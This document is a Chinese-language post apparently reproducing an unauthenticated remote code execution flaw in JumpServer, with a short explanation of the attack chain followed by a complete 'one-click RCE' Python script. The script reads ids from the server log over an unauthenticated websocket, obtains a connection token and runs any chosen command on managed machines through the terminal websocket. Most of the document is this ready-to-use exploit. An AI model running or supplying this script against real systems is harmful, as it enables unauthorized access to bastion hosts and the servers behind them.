jumperver rce 未授权复现
复现原理
ws未授权访问ws://192.168.1.73:8080/ws/ops/tasks/log/,读取/opt/jumpserver/logs/gunicorn.log中三个id,分别为user_id、asset_id、system_user_id
然后通过/api/v1/authentication/connection-token/?user-only=1获取token,最后带着这个token访问ws://example.com/koko/ws/token/?target_id=token,直接登录到机器,执行任意命令
一键rce脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:Ha1c9on
import asyncio
import json
import websockets
import requests
from aiowebsocket.converses import AioWebSocket
import re
import sys
# 获取日志信息
async def startup(host):
url = host + "/ws/ops/tasks/log/"
async with AioWebSocket(url) as aws:
converse = aws.manipulator
message = b'{"task":"/opt/jumpserver/logs/gunicorn"}'
while True:
await converse.send(message)
mes = await converse.receive()
if 'system_user' in str(mes):
asset = re.search(r'asset_id=(.*?)&cache_policy=1',str(mes))[0][9:45]
system_id = re.search(r'system_user_id=(.*?)&use',str(mes))[0][15:51]
user_id = re.search(r'&user_id=(.*?) HTTP/1.1',str(mes))[0][9:45]
print("[*]asset:"+asset)
print("[*]system_id:"+system_id)
print("[*]user_id:"+user_id)
data={"user":user_id,"asset":asset,"system_user":system_id}
url = "/api/v1/authentication/connection-token/?user-only=1"
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("[*]token:"+token)
break
return token
# 发送信息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'[-]you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
res = f"{recv_text}"
result = re.search("\"data\":\"(.|\n)*\"}",res)[0][8:-2].replace("\\r\\n",'\r\n')
print("[*]result:"+result.replace(r"\u001b","").replace(r"\u0007",""))
# 客户端主逻辑
async def main_logic(host,cmd,token):
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + str(token)
print("[*]target ws:"+target)
print("[+]start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
res = f"{recv_text}"
result = re.search("\"data\":\"(.|\n)*\"}",res)[0][8:-2].replace("\\r\\n",'\r\n')
print("[*]result:"+result.replace(r"\u001b","").replace(r"\u0007",""))
resws=json.loads(recv_text)
id = resws['id']
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(4):
recv_text = await websocket.recv()
res = f"{recv_text}"
result = re.search("\"data\":\"(.|\n)*\"}",res)[0][8:-2].replace("\\r\\n",'\r\n')
print("[*]result:"+result.replace(r"\u001b","").replace(r"\u0007",""))
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
#print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(3):
recv_text = await websocket.recv()
res = f"{recv_text}"
result = re.search("\"data\":\"(.|\n)*\"}",res)[0][8:-2].replace("\\r\\n",'\r\n')
print("[*]result:"+result.replace(r"\u001b","").replace(r"\u0007",""))
await send_msg(websocket, "exit")
print('[-]finish')
if __name__ == '__main__':
try:
host = sys.argv[1]
cmd = sys.argv[2]
if host[-1] == '/':
host = host[:-1]
print("[+]HOST:"+host)
print("[+]CMD:"+cmd)
token = asyncio.get_event_loop().run_until_complete(startup(host))
asyncio.get_event_loop().run_until_complete(main_logic(host,cmd,token))
except:
print("python jumpserver.py http://192.168.1.73 whoami")